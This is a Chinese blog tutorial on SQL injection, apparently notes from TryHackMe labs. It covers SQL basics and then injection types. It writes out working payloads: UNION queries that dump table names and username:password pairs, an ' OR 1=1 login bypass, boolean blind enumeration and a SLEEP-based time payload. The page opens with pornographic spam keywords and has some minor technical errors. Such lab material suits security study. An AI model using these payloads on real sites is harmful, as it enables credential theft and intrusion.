日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 运维知识 > 数据库 >内容正文

数据库

SQL注入(基于 tryhackme 的讲解)

發(fā)布時(shí)間:2024/3/13 数据库 63 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SQL注入(基于 tryhackme 的讲解) 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

一、什么是SQL注入

SQL注入攻擊(SQL Injection),簡(jiǎn)稱注入攻擊、SQL注入,被廣泛用于非法獲取網(wǎng)站控制權(quán),是發(fā)生在應(yīng)用程序的數(shù)據(jù)庫(kù)層上的安全漏洞。在設(shè)計(jì)程序時(shí),忽略了對(duì)輸入字符串中夾帶的SQL指令的檢查,被數(shù)據(jù)庫(kù)誤認(rèn)為是正常的SQL指令而運(yùn)行,從而使數(shù)據(jù)庫(kù)受到攻擊,可能導(dǎo)致數(shù)據(jù)被竊取、更改、刪除,以及進(jìn)一步導(dǎo)致網(wǎng)站被嵌入惡意代碼、被植入后門程序等危害。

根據(jù)相關(guān)技術(shù)原理,SQL注入可以分為平臺(tái)層注入和代碼層注入。前者由不安全的數(shù)據(jù)庫(kù)配置或數(shù)據(jù)庫(kù)平臺(tái)的漏洞所致;后者主要是由于程序員對(duì)輸入未進(jìn)行細(xì)致地過(guò)濾,從而執(zhí)行了非法的數(shù)據(jù)查詢。

通常情況下的sql注入的位置如下:

(1)表單提交,主要是POST請(qǐng)求,也包括GET請(qǐng)求; (2)URL參數(shù)提交,主要為GET請(qǐng)求參數(shù); (3)Cookie參數(shù)提交; (4)HTTP請(qǐng)求頭部的一些可修改的值,比如Referer、User_Agent等; (5)一些邊緣的輸入點(diǎn),比如.mp3文件的一些文件信息等。

先決條件:一是用戶能控制輸入,二是本來(lái)程序要執(zhí)行的代碼,憑借了用戶輸入的數(shù)據(jù)

二、危害

1.數(shù)據(jù)庫(kù)信息泄漏:數(shù)據(jù)庫(kù)中存放的用戶的隱私信息的泄露。

2.網(wǎng)頁(yè)篡改:通過(guò)操作數(shù)據(jù)庫(kù)對(duì)特定網(wǎng)頁(yè)進(jìn)行篡改。

3.網(wǎng)站被掛馬,傳播惡意軟件:修改數(shù)據(jù)庫(kù)一些字段的值,嵌入網(wǎng)馬鏈接,進(jìn)行掛馬攻擊。

4.數(shù)據(jù)庫(kù)被惡意操作:數(shù)據(jù)庫(kù)服務(wù)器被攻擊,數(shù)據(jù)庫(kù)的系統(tǒng)管理員帳戶被竄改。

5.服務(wù)器被遠(yuǎn)程控制,被安裝后門。經(jīng)由數(shù)據(jù)庫(kù)服務(wù)器提供的操作系統(tǒng)支持,讓黑客得以修改或控制操作系統(tǒng)。 破壞硬盤數(shù)據(jù),癱瘓全系統(tǒng)。

6.一些類型的數(shù)據(jù)庫(kù)系統(tǒng)能夠讓SQL指令操作文件系統(tǒng),這使得SQL注入的危害被進(jìn)一步放大。

三、SQL語(yǔ)句

1 . SELECT?

select * from users;

1)select是告訴數(shù)據(jù)庫(kù)我們想提取出一些信息

2)*是告訴數(shù)據(jù)庫(kù)我們要提取出所有列的信息

3)from users是告訴數(shù)據(jù)庫(kù)我們要提取出名字為users的表的信息

4)最后的分號(hào)是結(jié)束

IDusernamepasswor
1jonpass123
2adminp4ssword
3martinsecret123

?

select username,password from users;

這句與上面的類似,只是它特定的指出我要提出的是名字為users的表里面名字為username和password兩個(gè)列的類容

?

?

?

?

select * from users LIMIT 1;

下面的查詢和第一個(gè)一樣,使用 * 選擇器返回所有列,然后“LIMIT 1”子句強(qiáng)制數(shù)據(jù)庫(kù)只返回一行數(shù)據(jù)。將查詢更改為“LIMIT 1,1”強(qiáng)制查詢跳過(guò)第一個(gè)結(jié)果,然后“LIMIT 2,1”跳過(guò)前兩個(gè)結(jié)果,依此類推。您需要記住第一個(gè)數(shù)字告訴數(shù)據(jù)庫(kù)您希望跳過(guò)多少結(jié)果,第二個(gè)數(shù)字告訴數(shù)據(jù)庫(kù)要返回多少行。

select * from users where username='admin';

這里出現(xiàn)的where,where相當(dāng)于一個(gè)查找功能,where username='admin'就相當(dāng)于查找表中username為admin的一行,

?

select * from users where username != 'admin';

顧名思義,就是返回除了admin的其他行

select * from users where username='admin' or username='jon';

顧名思義!!!!!!!

select * from users where username='admin' and password='p4ssword';

這只會(huì)返回用戶名等于admin且密碼等于p4ssword 的行。

select * from users where username like 'a%';

like就相當(dāng)于一個(gè)篩選語(yǔ)法,該語(yǔ)句的作用就是篩選出username中含字母a的那一行

select * from users where username like '%mi%';

篩選出含有字母mi的一行

2 . UNION

顧名思義就是縫合

舉個(gè)栗子,你現(xiàn)在手上有一個(gè)班級(jí)的兩張名單(一半人在第一張表上,另一半人在第二張表上),你拿著很不方便,所以你選擇把他在電腦上全部做成統(tǒng)一的一張表,這個(gè)過(guò)程其實(shí)就是一個(gè)聯(lián)合的過(guò)程

但是在數(shù)據(jù)庫(kù)中,要想這樣做要滿足幾個(gè)條件,第一就是你兩張表的列數(shù)要相等,其次每一列的數(shù)據(jù)類型要對(duì)應(yīng)相同

例如下面有兩張表:

?

?

?

?

然后執(zhí)行下列語(yǔ)句,就可以將兩張表放在同一張表中:

SELECT name,address,city,postcode from customers UNION SELECT company,address,city,postcode from suppliers;

3 . INSERT

insert into users (username,password) values ('bob','password123');

此句的作用是為了向users表中的username和password的列中分別插入bob和password123兩個(gè)數(shù)據(jù)

?

4 . UPDATE

UPDATE 語(yǔ)句告訴我們希望在表中更新數(shù)據(jù)的一行或多行的數(shù)據(jù)庫(kù)。您使用“ update %tablename% SET ”指定要更新的,然后選擇要更新的一個(gè)或多個(gè)字段作為逗號(hào)分隔的列表,例如“ username='root',password='pass123' ”然后最后與 SELECT 語(yǔ)句類似,您可以使用 where 子句(例如“ where username='admin; ”)準(zhǔn)確指定要更新的行。

update users SET username='root',password='pass123' where username='admin';

?

?

5 . DELETE

DELETE 語(yǔ)句告訴我們要?jiǎng)h除數(shù)據(jù)的一行或多行的數(shù)據(jù)庫(kù)。他也可以使用limit和where

delete from users where username='martin';

delete from users;

因?yàn)椴樵冎袥](méi)有使用 WHERE 子句,所以表中的所有數(shù)據(jù)都被刪除了。

四、SQL注入的分類

1.如何判斷是否存在sql注入

在URL或者表單中輸入一個(gè)單引號(hào)或者其他特殊符號(hào),頁(yè)面出現(xiàn)錯(cuò)誤說(shuō)明此頁(yè)面存在SQL注入,如果頁(yè)面正常顯示說(shuō)明有字符被過(guò)濾或者不存在注入

2.具體類別

事實(shí)上SQL注入有很多種,按數(shù)據(jù)類型可以分為數(shù)字型、字符型和搜索型,按提交方式可分為GET型,POST型,Cookie型和HTTP請(qǐng)求頭注入,按執(zhí)行效果有可以分為報(bào)錯(cuò)注入、聯(lián)合查詢注入、盲注和堆查詢注入,其中盲注又可分為基于bool的基于時(shí)間的注入。從查詢語(yǔ)句即可看出來(lái)這里是字符型的注入同時(shí)也是GET型注入和表單注入,數(shù)字型注入查詢語(yǔ)句為:SELECT * FROM user WHERE id=1,搜索型注入查詢語(yǔ)句為:SELECT * FROM user WHERE search like '%1%'。

3.數(shù)字型注入

在URL或者表單中輸入0 or 1,如果可以查到數(shù)據(jù),說(shuō)明是數(shù)字型注入

4.字符型注入

在URL或者表單中輸入 0'or 1#,查到數(shù)據(jù)說(shuō)明是字符型注入,方法不唯一??傊?dāng)?shù)字型注入不需要使用單引號(hào)閉合前面的單引號(hào)就可以執(zhí)行SQL語(yǔ)句,而字符型必須閉合前面的單引號(hào),然后才可以執(zhí)行SQL語(yǔ)句,同時(shí)也需要把后面的單引號(hào)閉合,而注釋就是很好的一種閉合后面的單引號(hào)的方法。

5.搜索型注入

一些網(wǎng)站為了方便用戶查找網(wǎng)站的資源,都對(duì)用戶提供了搜索的功能,因?yàn)槭撬阉鞴δ?往往是程序員在編寫代碼時(shí)都忽略了對(duì)其變量(參數(shù))的過(guò)濾,而且這樣的漏洞在國(guó)內(nèi)的系統(tǒng)中普遍的存在:

其中又分為POST/GET,GET型的一般是用在網(wǎng)站上的搜索,而POST則用在用戶名的登錄,可以從form表單的method="get"屬性來(lái)區(qū)分是get還是post。搜索型注入又稱為文本框注入。

判斷方法為

1 搜索keywords‘,如果出錯(cuò)的話,有90%的可能性存在漏洞;

2 搜索 keywords%,如果同樣出錯(cuò)的話,就有95%的可能性存在漏洞;

3 搜索keywords% 'and 1=1 and '%'='(這個(gè)語(yǔ)句的功能就相當(dāng)于普通SQL注入的 and 1=1)看返回的情況

搜索keywords% 'and 1=2 and '%'='(這個(gè)語(yǔ)句的功能就相當(dāng)于普通SQL注入的 and 1=2)看返回的情況

——根據(jù)兩次的返回情況來(lái)判斷是不是搜索型文本框注入了

五、注入方法

注入方法可以直接在URL中提交注入語(yǔ)句,需要注意的是,在URL提交SQL語(yǔ)句,需要將注釋符#進(jìn)行URL編碼,有時(shí)候所有SQL語(yǔ)句都需要URL編碼

1.聯(lián)合查詢注入

聯(lián)合查詢注入也是用的非常多的,可以在URL中提交SQL語(yǔ)句,也可以在表單提交,聯(lián)合查詢相當(dāng)于把別的表的數(shù)據(jù)查詢結(jié)果顯示到當(dāng)前表,使用聯(lián)合查詢時(shí),必須使得兩張表的表結(jié)構(gòu)一致,因此我們需要判斷當(dāng)前表的列數(shù)有多少列,此外還需知道是字符型注入還是數(shù)字型注入。它屬于In-Band SQLI的一員

(1)前提條件:要有顯示位

什么是顯示位:在一個(gè)在一個(gè)網(wǎng)站的正常頁(yè)面,服務(wù)端執(zhí)行SQL語(yǔ)句查詢數(shù)據(jù)庫(kù)中的數(shù)據(jù),客戶端將數(shù) 據(jù)展示在頁(yè)面中,這個(gè)展示數(shù)據(jù)的位置就叫顯示位

(2)注入過(guò)程

1)判斷注入點(diǎn)

我們?cè)诳赡艽嬖赟QL注入變量的后邊添加以下payload:

and 1=1 / and 1=2 回顯頁(yè)面不同(整形判斷)

單引號(hào)判斷‘ 顯示數(shù)據(jù)庫(kù)錯(cuò)誤信息或者頁(yè)面回顯不同(整形,字符串類型判斷)

\ (轉(zhuǎn)義符)

-1/+1 回顯下一個(gè)或上一個(gè)頁(yè)面(整型判斷)

注:加號(hào)‘+’在URL中有特殊含義,因此在需要對(duì)其進(jìn)行URL編碼為%2b

2)判斷注入類型

3)判斷查詢列數(shù)

order by 函數(shù)是對(duì)MySQL中查詢結(jié)果按照指定字段名進(jìn)行排序,除了指定字段名還可以指定字段的欄位進(jìn)行排序,第一個(gè)查詢字段為1,第二個(gè)為2,依次 類推。(我們也可以通過(guò)二分法來(lái)猜解列數(shù))

?

由圖可知這個(gè)表只有3列

4)開(kāi)聯(lián)

?

發(fā)現(xiàn)出來(lái)的是文章,不是用戶資料,那么我們把id改為0看看。

?

?

接下來(lái)讓我們看看數(shù)據(jù)庫(kù)的名字

?

?

發(fā)現(xiàn)數(shù)據(jù)庫(kù)的名字是sqli_one,那么接下來(lái)我們會(huì)用到一個(gè)語(yǔ)句

0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'

其中,group_concat() 從多個(gè)返回的行中獲取指定的列(在我們的例子中是 table_name),并將其放入一個(gè)以逗號(hào)分隔的字符串中,接下里是接下來(lái)是 information_schema 數(shù)據(jù)庫(kù);數(shù)據(jù)庫(kù)的每個(gè)用戶都可以訪問(wèn)它,它包含有關(guān)用戶有權(quán)訪問(wèn)的所有數(shù)據(jù)庫(kù)和表的信息。在這個(gè)特定的查詢中,我們有興趣列出sqli_one 數(shù)據(jù)庫(kù)中的所有表 ,即 article 和 staff_users。

?

發(fā)現(xiàn)我們有兩個(gè)表,因?yàn)槲覀兪菍?duì)密碼感興趣,所以我們進(jìn)入staff_users

0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'

?

?

此時(shí)我們發(fā)現(xiàn)在staff_users中有三列,分別是id,password,username。那么我們把username和password列出來(lái)就行

0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users

我們?cè)俅问褂?group_concat 方法將所有行返回到一個(gè)字符串中并使其更易于閱讀。我們還添加了 ,':' 來(lái)將用戶名和密碼分開(kāi)。

?

搞定!!!!!!!

2.基于bool的盲注

與In-Band SQL injection不同,In-Band注入會(huì)在頁(yè)面顯示結(jié)果,但盲注就只有一點(diǎn)或是沒(méi)有任何反饋信息,但恰恰是這些微不足道的返回信息就足以枚舉出數(shù)據(jù)庫(kù)中的所有信息。

所謂“盲注”,就是在服務(wù)器關(guān)閉錯(cuò)誤回顯時(shí)完成的注入攻擊。

而判斷其是否存在sql注入的方法就是構(gòu)造一個(gè)簡(jiǎn)單的語(yǔ)句,根據(jù)返回頁(yè)面是否發(fā)生變化,來(lái)判斷sql語(yǔ)句是否得到執(zhí)行。(具體可參照web書第152頁(yè))

(1)身份驗(yàn)證繞過(guò)

最簡(jiǎn)單的SQL盲注技術(shù)之一是繞過(guò)登錄身份驗(yàn)證的方法。在這種情況下,我們對(duì)從數(shù)據(jù)庫(kù)中檢索數(shù)據(jù)不感興趣;我們只想通過(guò)登錄。

在處理這個(gè)問(wèn)題時(shí),數(shù)據(jù)庫(kù)是關(guān)心我們輸入的數(shù)據(jù)是否與數(shù)據(jù)庫(kù)中的數(shù)據(jù)相匹配,而不關(guān)心內(nèi)容,所以我們沒(méi)必要列舉所有的用戶名及密碼。

下面是一個(gè)sql語(yǔ)句

select * from users where username='%username%' and password='%password%' LIMIT 1;

其中百分號(hào)是取用戶輸入內(nèi)容進(jìn)行替換。

而為了使sql語(yǔ)句永真,就需要構(gòu)造 ’ OR 1=1;

將sql語(yǔ)句替換成:

select * from users where username='' and password='' OR 1=1

前面的單引號(hào)是為了讓前面的語(yǔ)句閉合 ,后面的分號(hào)讓后面的閉合,從而導(dǎo)致后面的語(yǔ)句失效。

?

?

(2)Boolean Based

該注入是可以從頁(yè)面返回的信息中得知對(duì)錯(cuò),從而得知自己數(shù)據(jù)的正確與否。

下面是一條sql語(yǔ)句和所對(duì)應(yīng)的頁(yè)面

select * from users where username = '%username%' LIMIT 1;

?

?

對(duì)于這個(gè)例題,要先將前面和后面的單引號(hào)閉合,因?yàn)闊o(wú)法返回頁(yè)面,所以只能試探:

?

?

發(fā)現(xiàn)頁(yè)面返回為對(duì)。那么就繼續(xù)往下執(zhí)行,將數(shù)據(jù)庫(kù)的名字弄出來(lái):

admin' UNION SELECT 1,2,3 where database() like 's%';

通過(guò)like可以將數(shù)據(jù)庫(kù)的名字一步一步的通過(guò)湊的方式來(lái)將數(shù)據(jù)庫(kù)名字弄出來(lái)。、

在出數(shù)據(jù)庫(kù)名字后,則將數(shù)據(jù)庫(kù)中的表列舉出來(lái):

admin' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'a%';

通過(guò)這樣的方法再次列舉出有一張表為users。

最后列舉出列表名:

admin' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';

當(dāng)然也可以使用下面的語(yǔ)句將不重要的列名除去:

? admin' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id';?

之后你完整的得到了表名,列名,之后用常規(guī)的語(yǔ)句去找出用戶名和密碼:

admin' UNION SELECT 1,2,3 from users where username like 'a%';

?

admin' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%';

最后得到密碼,侵入成功。

(3)基于時(shí)間的盲注

此時(shí)唯一與Boolean不同的是,它是靠信息的返回時(shí)間來(lái)判斷注入是否成功。基本方法與Boolean一樣

語(yǔ)句稍微修改一下:

admin123' UNION SELECT SLEEP(5),2;--

3. Out-of-Band SQL i

?

?

不要問(wèn)為什么這樣做,因?yàn)閼小?/p>

?

?

從此完結(jié)

?

總結(jié)

以上是生活随笔為你收集整理的SQL注入(基于 tryhackme 的讲解)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。